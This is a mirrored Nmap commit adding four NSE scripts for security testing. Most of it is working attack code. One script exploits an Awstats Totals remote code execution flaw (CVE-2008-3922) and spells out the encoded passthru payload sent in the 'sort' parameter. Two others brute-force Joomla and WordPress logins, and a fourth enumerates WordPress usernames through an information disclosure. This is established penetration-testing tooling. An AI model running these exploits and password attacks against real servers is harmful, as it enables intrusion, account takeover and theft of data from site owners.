1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-09 14:11:29 +00:00

Adds http-awstatstotals-exec, http-joomla-brute, http-wordpress-brute and http-wp-enum.

This commit is contained in:
paulino
2011-08-23 06:29:12 +00:00
parent c79146c9c9
commit b99a8bbd99
5 changed files with 551 additions and 0 deletions

View File

@@ -0,0 +1,130 @@
description = [[
http-awstatstotals-exec exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14 and possibly other products based on it. [CVE: 2008-3922]
This vulnerability can be exploited through the GET variable sort. The script queries the web server with the command payload encoded using PHP's chr() function:
<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>
Common paths for Awstats Total:
* <code>/awstats/index.php</code>
* <code>/awstatstotals/index.php</code>
* <code>/awstats/awstatstotals.php</code>
References:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
* http://www.exploit-db.com/exploits/17324/
]]
---
-- @usage
-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
-- nmap -sV --script http-awstatstotals-exec.nse <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-awstatstotals-exec.nse:
-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
--
-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
---
-- Other useful args when running this script:
-- http.useragent - User Agent to use in GET request
--
author = "Paulino Calderon"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
require "shortport"
require "http"
require "url"
portrule = shortport.http
--default values
local DEFAULT_CMD = "whoami"
local DEFAULT_URI = "/index.php"
---
--Writes string to file
-- @param filename Filename to write
-- @param content Content string
-- @return boolean status
-- @return string error
--Taken from: hostmap.nse
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
--Checks if Awstats Totals installation seems to be there
-- @param host Host table
-- @param port Port table
-- @param path Path pointing to AWStats Totals
-- @return true if awstats totals is found
local function check_installation(host, port, path)
local check_req = http.get(host, port, path)
if not(http.response_contains(check_req, "AWStats")) then
return false
end
return true
end
---
--MAIN
---
action = function(host, port)
local output = {}
local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
--check for awstats signature
local awstats_check = check_installation(host, port, uri)
if not(awstats_check) then
stdnse.print_debug(1, "%s:This does not look like Awstats Totals. Quitting.", SCRIPT_NAME)
return
end
--Encode payload using PHP's chr()
local encoded_payload = ""
cmd:gsub(".", function(c) encoded_payload = encoded_payload .."chr("..string.byte(c)..")." end)
if string.sub(encoded_payload, #encoded_payload) == "." then
encoded_payload = string.sub(encoded_payload, 1, #encoded_payload-1)
end
local stealth_payload = "?sort={%24{passthru%28"..encoded_payload.."%29}}{%24{exit%28%29}}"
--set payload and send request
local req = http.get(host, port, uri .. stealth_payload)
if req.status and req.status == 200 then
output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
--if out set, save output to file
if out then
local status, err = write_file(out, req.body)
if status then
output[#output+1] = string.format("Output saved to %s\n", out)
else
output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
end
end
else
if nmap.verbosity()>= 2 then
output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
end
end
--output
if #output>0 then
return stdnse.strjoin("\n", output)
end
end

View File

@@ -0,0 +1,146 @@
description = [[
Performs a brute force password attack against Joomla installations.
This script initially reads the session cookie and parses the security token to perfom the brute force password auditing.
It uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the
credentials library.
Joomla's default uri and form names:
* Default uri:<code>/administrator/index.php</code>
* Default uservar: <code>username</code>
* Default passvar: <code>passwd</code>
]]
---
-- @usage
-- nmap -sV --script http-joomla-brute
-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com,
-- http-joomla-brute.threads=3,brute.firstonly=true' <target>
-- nmap -sV --script http-joomla-brute <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-joomla-brute:
-- | Accounts
-- | xdeadbee:i79eWBj07g => Login correct
-- | Statistics
-- |_ Perfomed 499 guesses in 301 seconds, average tps: 0
--
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
-- @args http-joomla-brute.hostname Virtual Hostname Header
-- @args http-joomla-brute.uservar sets the http-variable name that holds the
-- username used to authenticate. Default: username
-- @args http-joomla-brute.passvar sets the http-variable name that holds the
-- password used to authenticate. Default: passwd
-- @args http-joomla-brute.threads sets the number of threads. Default: 3
--
-- Other useful arguments when using this script are:
-- * http.useragent = String - User Agent used in HTTP requests
-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
-- * brute.mode = user/creds/pass - Username password iterator
-- * passdb = String - Path to password list
-- * userdb = String - Path to user list
--
--
-- Based on Patrik Karlsson's http-form-brute
--
author = "Paulino Calderon"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
require 'shortport'
require 'http'
require 'brute'
require 'creds'
portrule = shortport.http
local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php"
local DEFAULT_JOOMLA_USERVAR = "username"
local DEFAULT_JOOMLA_PASSVAR = "passwd"
local DEFAULT_THREAD_NUM = 3
local security_token
local session_cookie_str
---
--This class implements the Brute library (http://nmap.org/nsedoc/lib/brute.html)
---
Driver = {
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
o.port = port
o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
o.options = options
return o
end,
connect = function( self )
return true
end,
login = function( self, username, password )
stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
{ [self.options.uservar] = username, [self.options.passvar] = password,
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
stdnse.print_debug(2, "Response:\n%s", response.body)
local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port )
c:add(username, password, creds.State.VALID )
return true, brute.Account:new( username, password, "OPEN")
end
return false, brute.Error:new( "Incorrect password" )
end,
disconnect = function( self )
return true
end,
check = function( self )
local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if password field is there
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
if response.body then
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
end
if security_token then
stdnse.print_debug(2, "Security Token found:%s", security_token)
else
stdnse.print_debug(2, "The security token was not found.")
return false
end
return true
else
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
end
return false
end
}
---
--MAIN
---
action = function( host, port )
local status, result, engine
local uservar = stdnse.get_script_args('http-joomla-brute.uservar') or DEFAULT_JOOMLA_USERVAR
local passvar = stdnse.get_script_args('http-joomla-brute.passvar') or DEFAULT_JOOMLA_PASSVAR
local thread_num = stdnse.get_script_args("http-joomla-brute.threads") or DEFAULT_THREAD_NUM
engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
engine:setMaxThreads(thread_num)
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
return result
end

View File

@@ -0,0 +1,134 @@
description = [[
Performs a brute force password attack against Wordpress installations.
This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are
stored using the credentials library.
Wordpress default uri and form names:
* Default uri:<code>wp-login.php</code>
* Default uservar: <code>log</code>
* Default passvar: <code>pwd</code>
]]
---
-- @usage
-- nmap -sV --script http-wordpress-brute <target>
-- nmap -sV --script http-wordpress-brute
-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,
-- http-wordpress-brute.threads=3,brute.firstonly=true' <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-wordpress-brute:
-- | Accounts
-- | 0xdeadb33f:god => Login correct
-- | Statistics
-- |_ Perfomed 103 guesses in 17 seconds, average tps: 6
--
-- @args http-wordpress-brute.uri points to the file 'wp-login.php'. Default /wp-login.php
-- @args http-wordpress-brute.hostname sets the host header in case of virtual
-- hosting
-- @args http-wordpress-brute.uservar sets the http-variable name that holds the
-- username used to authenticate. Default: log
-- @args http-wordpress-brute.passvar sets the http-variable name that holds the
-- password used to authenticate. Default: pwd
-- @args http-wordpress-brute.threads sets the number of threads. Default: 3
--
-- Other useful arguments when using this script are:
-- * http.useragent = String - User Agent used in HTTP requests
-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
-- * brute.mode = user/creds/pass - Username password iterator
-- * passdb = String - Path to password list
-- * userdb = String - Path to user list
--
-- Based on Patrik Karlsson's http-form-brute
--
author = "Paulino Calderon"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
require 'shortport'
require 'http'
require 'brute'
require 'creds'
portrule = shortport.http
local DEFAULT_WP_URI = "/wp-login.php"
local DEFAULT_WP_USERVAR = "log"
local DEFAULT_WP_PASSVAR = "pwd"
local DEFAULT_THREAD_NUM = 3
---
--This class implements the Driver class from the Brute library
---
Driver = {
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host
o.port = port
o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI
o.options = options
return o
end,
connect = function( self )
-- This will cause problems, as ther is no way for us to "reserve"
-- a socket. We may end up here early with a set of credentials
-- which won't be guessed until the end, due to socket exhaustion.
return true
end,
login = function( self, username, password )
-- Note the no_cache directive
stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri)
local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } )
-- This redirect is taking us to /wp-admin
if response.status == 302 then
local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
c:add(username, password, creds.State.VALID )
return true, brute.Account:new( username, password, "OPEN")
end
return false, brute.Error:new( "Incorrect password" )
end,
disconnect = function( self )
return true
end,
check = function( self )
local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if password field is there
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
return true
else
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
end
return false
end
}
---
--MAIN
---
action = function( host, port )
local status, result, engine
local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR
local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR
local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM
engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
engine:setMaxThreads(thread_num)
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
return result
end

137
scripts/http-wp-enum.nse Normal file
View File

@@ -0,0 +1,137 @@
description = [[
http-wp-enum enumerates usernames in Wordpress installations by exploiting an information disclosure vulnerability
existing in versions 2.6, 3.1, 3.1.1, 3.1.3 and 3.2-beta2 and possibly others.
Original advisory:
* http://www.talsoft.com.ar/index.php/research/security-advisories/wordpress-user-id-and-user-name-disclosure
]]
---
-- @usage
-- nmap -p80 --script http-wp-enum <target>
-- nmap -sV --script http-wp-enum --script-args limit=50 <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-wp-enum:
-- | Username found: admin
-- | Username found: mauricio
-- | Username found: cesar
-- | Username found: lean
-- | Username found: alex
-- | Username found: ricardo
-- |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wp-enum.limit'
--
-- @args http-wp-enum.limit Upper limit for ID search. Default: 25
-- @args http-wp-enum.basepath Base path to Wordpress. Default: /
-- @args http-wp-enum.out If set it saves the username list in this file.
---
author = "Paulino Calderon"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "auth", "intrusive", "vuln"}
require "shortport"
require "http"
portrule = shortport.http
---
-- Returns the username extracted from the url corresponding to the id passed
-- If user id doesn't exists returns false
-- @param host Host table
-- @param port Port table
-- @param path Base path to WP
-- @param id User id
-- @return false if not found otherwise it returns the username
---
local function get_wp_user(host, port, path, id)
stdnse.print_debug(2, "%s: Trying to get username with id %s", SCRIPT_NAME, id)
local req = http.get(host, port, path.."?author="..id, { no_cache = true})
if req.status then
stdnse.print_debug(1, "%s: User id #%s returned status %s", SCRIPT_NAME, id, req.status)
if req.status == 301 then
local _, _, user = string.find(req.header.location, 'http://.*/.*/(.*)/')
return user
end
end
return false
end
---
--Returns true if WP installation exists.
--We assume an installation exists if wp-login.php is found
--@param host Host table
--@param port Port table
--@param path Path to WP
--@return True if WP was found
--
local function check_wp(host, port, path)
stdnse.print_debug(2, "%s:Checking %swp-login.php ", SCRIPT_NAME, path)
local req = http.get(host, port, path.."wp-login.php", {no_cache=true})
if req.status and req.status == 200 then
return true
end
return false
end
---
--Writes string to file
--Taken from: hostmap.nse
--@param filename Target filename
--@param contents String to save
--@return true when successful
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
--MAIN
---
action = function(host, port)
local basepath = stdnse.get_script_args("http-wp-enum.basepath") or "/"
local limit = stdnse.get_script_args("http-wp-enum.limit") or 25
local filewrite = stdnse.get_script_args("http-wp-enum.out")
local output = {""}
local users = {}
--First, we check this is WP
if not(check_wp(host, port, basepath)) then
if nmap.verbosity() >= 2 then
return "[Error] Wordpress installation was not found. We couldn't find wp-login.php"
else
return
end
end
--Incrementing ids to enum users
for i=1, tonumber(limit) do
local user = get_wp_user(host, port, basepath, i)
if user then
stdnse.print_debug(1, "%s: Username found -> %s", SCRIPT_NAME, user)
output[#output+1] = string.format("Username found: %s", user)
users[#users+1] = user
end
end
if filewrite and #users>0 then
local status, err = write_file(filewrite, stdnse.strjoin("\n", users))
if status then
output[#output+1] = string.format("Users saved to %s\n", filewrite)
else
output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err)
end
end
if #output > 1 then
output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wp-enum.limit'", limit)
return stdnse.strjoin("\n", output)
end
end

View File

@@ -69,6 +69,7 @@ Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "s
Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } } Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } }
Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } } Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } }
Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } } Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } }
Entry { filename = "http-awstatstotals-exec.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } } Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } }
Entry { filename = "http-brute.nse", categories = { "auth", "intrusive", } } Entry { filename = "http-brute.nse", categories = { "auth", "intrusive", } }
@@ -82,6 +83,7 @@ Entry { filename = "http-form-brute.nse", categories = { "auth", "intrusive", }
Entry { filename = "http-google-malware.nse", categories = { "discovery", "external", "malware", "safe", } } Entry { filename = "http-google-malware.nse", categories = { "discovery", "external", "malware", "safe", } }
Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } } Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } }
Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } } Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "http-joomla-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "http-litespeed-sourcecode-download.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "http-litespeed-sourcecode-download.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } } Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } } Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } }
@@ -96,6 +98,8 @@ Entry { filename = "http-userdir-enum.nse", categories = { "discovery", "intrusi
Entry { filename = "http-vhosts.nse", categories = { "discovery", "intrusive", } } Entry { filename = "http-vhosts.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "http-vmware-path-vuln.nse", categories = { "default", "safe", "vuln", } } Entry { filename = "http-vmware-path-vuln.nse", categories = { "default", "safe", "vuln", } }
Entry { filename = "http-waf-detect.nse", categories = { "discovery", "intrusive", } } Entry { filename = "http-waf-detect.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "http-wordpress-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "http-wp-enum.nse", categories = { "auth", "discovery", "intrusive", "vuln", } }
Entry { filename = "http-wp-plugins.nse", categories = { "discovery", "intrusive", } } Entry { filename = "http-wp-plugins.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "iax2-version.nse", categories = { "version", } } Entry { filename = "iax2-version.nse", categories = { "version", } }
Entry { filename = "imap-brute.nse", categories = { "auth", "intrusive", } } Entry { filename = "imap-brute.nse", categories = { "auth", "intrusive", } }